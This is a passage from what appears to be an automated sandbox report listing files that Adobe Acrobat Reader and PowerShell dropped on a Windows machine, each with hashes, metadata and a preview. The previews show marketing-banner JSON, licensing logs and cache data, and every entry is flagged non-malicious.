SHA-512:	9C7E6D4721CF8E449177313185FD86DD915B9C9634E8F201D49D449AD2593B74F430969F40ECEFFEEF3FE443309018FFB41EB903A6CF5458C316D8D7775C9E45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.304109344271407
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJfbPtdPeUkwRe9:YvXKXSHyBLUtn0cEVGDV8Ukee9
MD5:	2403E3A6781F5A3E71296143B147D2F1
SHA1:	34D1B8DCBFEE1EB3499EDCC24C90894DDE8B25BF
SHA-256:	19D88BE8567213C00EA1BA98297A9ACE525D4CCA9251237504495ADE6BA78872
SHA-512:	E2ED320CD0E7B27AFAA23A1C20392E8FA5B162806AFEA6E14DF7E389E7F6787FB81D928566B58F6D840FFE3C389E96F3BF881C2D5B1193B32BB015A1C862C48D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.307127496328731
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJf21rPeUkwRe9:YvXKXSHyBLUtn0cEVG+16Ukee9
MD5:	394FB5F9A2A9AEFA01C2F90FC0D29293
SHA1:	5ECF9B9D2BA7FE27D8EF75C0E29AA1B516AC3A6C
SHA-256:	5DDD40E220D3AA92CAC756AA346D368EA1A9E8EFCD05DC633D1A5BCE5B619B3E
SHA-512:	5381E90B0C173E3AAA90CF048ABCB33074881495E611F0F99D1776080AFD9CAE71BD7B9806E5584B97B12398024AE9B3D3154B58218E0E8D83F8BFE4BB67A9C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.670589256222537
Encrypted:	false
SSDEEP:	24:Yv6XEydIZ5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSz1:YvPy2BgkDMUJUAh8cvMz1
MD5:	48419769A3EAB2FCFF1CF779A5B98A79
SHA1:	AD0A81C9B57CB318E7ED6A8081D1688C991AA354
SHA-256:	AF89562EE0CBA02E214E5F9C7683E77263E55B39A5C909BA42B95BABC6FFD265
SHA-512:	AAB114D067A6B8EA790582110FC02887958A00FAE3D3F8227375AF707F26A95F30AABFA804FE3E7C142DB193CB87FFD5EA52C58AF5EAECC42FF954EF5C5C4D5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.285480436122392
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJfshHHrPeUkwRe9:YvXKXSHyBLUtn0cEVGUUUkee9
MD5:	DE835FBF1418E70FAFB14CA53EAB1A5C
SHA1:	46F4297C06C71E235AAE20B690E6006333664C2D
SHA-256:	A3BCB952BCC800BDD57DB40F6B6BD431C352E311086050E97DDC80D6DD8FD129
SHA-512:	0D6C4A8F92BD6EDCD3BEC493CE4636852635101A28E5DF6985ACEE4F75F9BEF595B89B74ECCDA645885334721297AF10FE5039E7ED70093A10192DFECFD3DD6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.292461273918475
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgX2GyBLUbJn0nZiQ0Y0MeoAvJTqgFCrPeUkwRe9:YvXKXSHyBLUtn0cEVGTq16Ukee9
MD5:	6CC24AE52AE454BCA6B9BE591B25E305
SHA1:	A747807D4D2DE51A577BAF1F5B5AB7E7D6BF4101
SHA-256:	280869E44D891D02F5BE9EF9552B304FB70A075184E95932949FA5596CB38B89
SHA-512:	B60EB872CD6A1A4234A678EC107EDE3787EFF54B55F638D4968D653C93AD6639414C9BABCF694C00E77C223F1A4AB51F51DB009664DD40F395C05A0612675B8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc2b5326-636e-4948-8555-db3911876b1f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736718838258,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138872828246602
Encrypted:	false
SSDEEP:	24:Y4caxNSHaysIJYheba6IbCJBcWSWrWojPSj0SsQCO42Trow2LSeCf7YkTH5z79C6:Y4NIJWCJN9PkYzYUo7YkbR9Cyn
MD5:	8C7F1A781AB7299DECF36651457D02AB
SHA1:	C78266FC97FDF892D96DD08499C33A6EB4042077
SHA-256:	910D05DC62CA4591FEA34179FA9095EE7A6B0D6583DA83C91378EA456C62A11A
SHA-512:	D19F5F925CAE869CB1049100E549981ACA5D21CDE492B70CBC22A8D9F125F33F97827DC93C2F37167E4BFF3302A7B28AE4825A901BACCC4571708F29BB9039C4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"778352f646395bba79279f9430ea67e8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736538837000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e16d31c4a6ca57d184778647183823ac","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736538837000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6de4514c1f6461f563e1fd0d29311335","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736538837000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"de6998e9e171899cabdbdc29bebccb5b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736538837000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d3b8f83807e7340abbec3483ddb71bc8","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736538837000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6bd01b5b02172d95acea31047d1cb6b5","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1465964732413705
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursSRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHx:TFl2GL7msMXc+XcGNFlRYIX2v3kx
MD5:	37672E2AA7D42D00B3EBC3D9AD67A5D6
SHA1:	0F6B1D247B1564D008B3DF6C182BB93DE1305466
SHA-256:	22D61E1897EEFA05B290334C12ED443FD13B5014B45B81B1EB6ABCD94779ECF6
SHA-512:	094858CC308E65EFF88F37859211E0E0637D661A75972CC6F34ADDFC38C60583C2F39AFF57559B52F83767F2CC0F15B59C9F89810E31FC8B8FDA889CF423F4B7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5510986019183743
Encrypted:	false
SSDEEP:	24:7+tHUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxOyqLxx/XYKb:7M0Xc+XcGNFlRYIX2vgqVl2GL7msnT
MD5:	ECE804D76FEB4F89130DFA56AD6F56B2
SHA1:	65BD5B26FEB962163367D575D3E74A58D5F68CCD
SHA-256:	F1F1528C3159D18AB286E8E38495D39F81CE80D92D843789E11C6E4B7FAE9B79
SHA-512:	B4118A7AC06425FD7585626D3272464561375965DBAB4C976F87CB4D5CC7D86C37139DD6D5E4DAE9BB01268C2700631353A4FA330AAF07490409F6947D25247B
Malicious:	false
Preview:	.... .c.....P.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg3vQ5i4INuIp5w6OgWFt6S7KYyu:6a6TZ44ADE3v0i4auI46GKK
MD5:	BFB756DBDC888AAD7616862E934D08A0
SHA1:	D1D28E8EE53C7CC67FE9CA5300D6F8D0F816CC98
SHA-256:	0A777949A816DD91334E3D6581F9CC4430C8DD4BB632B9ADD91312499CE531EE
SHA-512:	F1E694370387D5F3A94284204219E7832D230A75D3AF34ED244D3143D4A3305291881566B710DA05EAFD24E77526657B1C77F7F713F241863301EC52CE530850
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI1799.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5263912796263748
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClER/e:Qw946cPbiOxDlbYnuRK+bDM
MD5:	00E84406B9382539CEE3CBFCB9EE01CE
SHA1:	AE01325B026EFEF2F675D4EB73C5A960CA0DFED3
SHA-256:	EA76B4A1556D6EE745F73DFE436BC006B8BA7957746938E702853A34FE73B950
SHA-512:	99A06C9C91D6EF44E7F665B09888DF155E79F867EF7E89B447F1B18E30ACADFC3AD8270C5C6B97F7021AF775B124CEF8000967E5EE111D0E17BFA24C2C43EC57
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.5.3.:.5.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fjbfgkic.fqu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yhogiax1.xkm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-53-50-671.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.339145391086562
Encrypted:	false
SSDEEP:	384:aNJshVoSwkrifduVY9/V6VBz6SZei8z7IdqCWIQAV0gUyu/U/PcbE1u1wN9PovSb:ZqYD
MD5:	3758C8C62044B1B38D8965DE5CF4F90A
SHA1:	E3E67AD04AED07064C2E17BDC4932941140A07F8
SHA-256:	4AB8F0857858B31A2D1D17906685F4CC18A7355AD3DCC7F4737B794EE96E9F6E
SHA-512:	796A2FC23A7D052F49EF51B06CCB4D0CC6642267BCAABBCF42B34B64A150A47C4F61D064AFAE723BAD2D085692F49F12583AACBA4A6AFF81A5EA030E5C259408
Malicious:	false
Preview:	SessionID=0aed009b-2828-42cc-9216-460f8c3312ee.1736538830681 Timestamp=2025-01-10T14:53:50:681-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0aed009b-2828-42cc-9216-460f8c3312ee.1736538830681 Timestamp=2025-01-10T14:53:50:682-0500 ThreadID=7772 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0aed009b-2828-42cc-9216-460f8c3312ee.1736538830681 Timestamp=2025-01-10T14:53:50:682-0500 ThreadID=7772 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0aed009b-2828-42cc-9216-460f8c3312ee.1736538830681 Timestamp=2025-01-10T14:53:50:682-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0aed009b-2828-42cc-9216-460f8c3312ee.1736538830681 Timestamp=2025-01-10T14:53:50:682-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392419654510051
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb2wcbGIDVcb5:V3fOCIdJDesNDS
MD5:	A2406E54670E8BC07AE530182809C956
SHA1:	C268781277451FCEAD6718B263081BF4A9F15A9C
SHA-256:	402DFCE9F8EF7720D96771670441ADA6C53C17603F91C52BDC26E2E5AD58DC8E
SHA-512:	20249B7FC4ABDC16CC8C7E763D76ECFD5EF21D39E9AD35A3E650E6F4C1204179EB581214E5525C6E91D5AF56C2DC32F48EA5649428B83E7432D20847B64F53A5
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0050cf4a-fe9e-449d-99fe-9defc76ce63e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\0ca524dd-1c75-412f-a5bd-cd9b0b1f9359.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gWL07okZwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLxkZwZG6GZn3mlind9i4ufFXpAXkru
MD5:	ACB1B27818CEB36D0750207A9585D1DE
SHA1:	6F8E0D68875083DD83681391CE1C8304D0CF8C29
SHA-256:	BAB1F04D2DB8ADF240CFE93D51DFDA5CABE1D1DA91DCC807D2ABD93E030926D6
SHA-512:	AFE11C5D4A50430BE73E2D82081C6C02DB93A8368999C9139863A5A2DD0780066E020A5D2FDC94612E808862C8FB0CF90CA92E7CEAAAFEB4C3EA59703229B4AA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7f825f71-71c8-4773-a0c3-d90417026b18.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
